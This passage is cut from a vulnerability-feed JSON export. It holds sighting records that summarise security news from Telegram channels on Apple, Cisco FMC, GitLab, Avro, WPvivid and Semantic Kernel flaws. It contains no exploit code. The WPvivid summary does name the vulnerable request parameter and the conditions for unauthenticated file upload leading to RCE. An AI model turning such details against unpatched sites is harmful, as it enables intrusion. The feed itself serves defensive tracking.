\u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u043b\u0438\u0446 \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 iOS \u0434\u043e 26.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20700 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 dyld, \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u043e\u043c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 Apple, \u0432\u043a\u043b\u044e\u0447\u0430\u044f iOS, iPadOS, macOS, tvOS, watchOS \u0438 visionOS.\n\n\u0412 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 Apple \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442, \u0447\u0442\u043e \u0438\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 CVE-2025-14174 \u0438 CVE-2025-43529, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435, \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\nApple \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 CVE-2026-20700 Google TAG, \u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430.\n\n\u041a \u0447\u0438\u0441\u043b\u0443 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f: iPhone 11 (\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438), iPad Pro 12,9 \u0434\u044e\u0439\u043c\u0430 (3-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), iPad Pro 11 \u0434\u044e\u0439\u043c\u043e\u0432 (1-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), iPad Air (3-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), iPad (8-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), iPad mini (5-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439), \u0430 \u0442\u0430\u043a\u0436\u0435 Mac \u043d\u0430 macOS Tahoe.\n\nApple \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 iOS 18.7.5, iPadOS 18.7.5, macOS Tahoe 26.3, tvOS 26.3, watchOS 26.3 \u0438 visionOS 26.3.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.", "creation_timestamp": "2026-02-12T10:30:05.000000Z"}, {"uuid": "3a82fa36-df1f-480c-bce7-1cca5cbcb0d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/BleepingComputer/24263", "content": "\u200aApple pushes first Background Security Improvements update to fix WebKit flaw\n\nApple has released its first Background Security Improvements update to fix a WebKit flaw tracked as CVE-2026-20643 on iPhones, iPads, and Macs without requiring a full operating system upgrade. [...]\n\nhttps://www.bleepingcomputer.com/news/security/apple-pushes-first-background-security-improvements-update-to-fix-webkit-flaw/", "creation_timestamp": "2026-03-18T14:07:46.000000Z"}, {"uuid": "237fee89-f58b-4295-a73c-8a4dfcac05f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/true_secator/7967", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 Secure Firewall Management Center (FMC).\n\nSecure FMC -\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u044d\u043a\u0440\u0430\u043d\u0430\u043c\u0438 Cisco \u0438 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-20079) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f CVE-2026-20131 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 Java \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u041f\u043e \u0447\u0430\u0441\u0442\u0438 CVE-2026-20079 \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 root-\u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Java-\u043e\u0431\u044a\u0435\u043a\u0442 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Cisco Secure FMC, \u043d\u043e CVE-2026-20131 \u0442\u0430\u043a\u0436\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u0438 \u043d\u0430 Cisco Security Cloud Control (SCC) Firewall Management, \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0449\u0438\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445 Cisco \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 Cisco PSIRT \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0440\u0430\u0432\u043d\u043e \u043a\u0430\u043a \u0438 \u043d\u0435 \u044f\u0441\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u0438 PoC \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435. \u041d\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u043a\u0430\u0436\u0435\u0442.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c Cisco \u0442\u0430\u043a\u0436\u0435\u00a0\u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 15 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Secure FMC, Secure Firewall Adaptive Security Appliance \u0438 Secure Firewall Threat Defense.", "creation_timestamp": "2026-03-05T13:00:08.000000Z"}, {"uuid": "69b86560-c5b0-493f-b68e-28ea7e3f2a9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20677", "type": "seen", "source": "https://t.me/poxek/5911", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438\n#GitLab #CVE #Apple #Apache #RCE #WordPress #Microsoft \n\n\u25aa\ufe0f GitLab CE/EE (CVE-2025-7659, CVSS 9.1) \u2014 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Web IDE. \u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 (\u043f\u0440\u0438 \u0443\u0447\u0430\u0441\u0442\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u043a\u0440\u0430\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c.\n\n\u25aa\ufe0f Apple macOS, iOS, iPadOS, visionOS (CVE-2026-20677, CVSS 9.0) \u2014 race condition \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c Shortcut. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 shortcut \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 sandbox-\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435. \u0418\u043c\u043f\u0430\u043a\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0432\u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 sandbox.\n\n\u25aa\ufe0f Apache Avro Java SDK (CVE-2025-33042, CVSS 7.3) \u2014 code injection \u043f\u0440\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 Java-\u043a\u043e\u0434\u0430 (specific records) \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 Avro-\u0441\u0445\u0435\u043c. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0437\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u043a\u043e\u0434\u043e\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 malicious-\u0441\u0445\u0435\u043c\u044b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u043b\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u25aa\ufe0fWordPress-\u043f\u043b\u0430\u0433\u0438\u043d WPvivid Backup & Migration (CVE-2026-1357, CVSS 9.8) \u2014 unauthenticated arbitrary file upload, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0439 \u043a RCE. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 0.9.123 \u2014 \u0431\u043e\u043b\u0435\u0435 900 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a. \u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 RSA-\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0443\u0442\u0435\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 PHP-\u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 wpvivid_action=send_to_site. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 receive backup from another site \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u043f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0430\u0439\u0442\u0430: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432.\n\n\u25aa\ufe0f SDK Microsoft Semantic Kernel (CVE-2026-25592, CVSS 9.9) \u2014 arbitrary file write \u0447\u0435\u0440\u0435\u0437 path traversal \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SessionsPythonPlugin, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430 \u0432 AI-\u0430\u0433\u0435\u043d\u0442\u0430\u0445. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 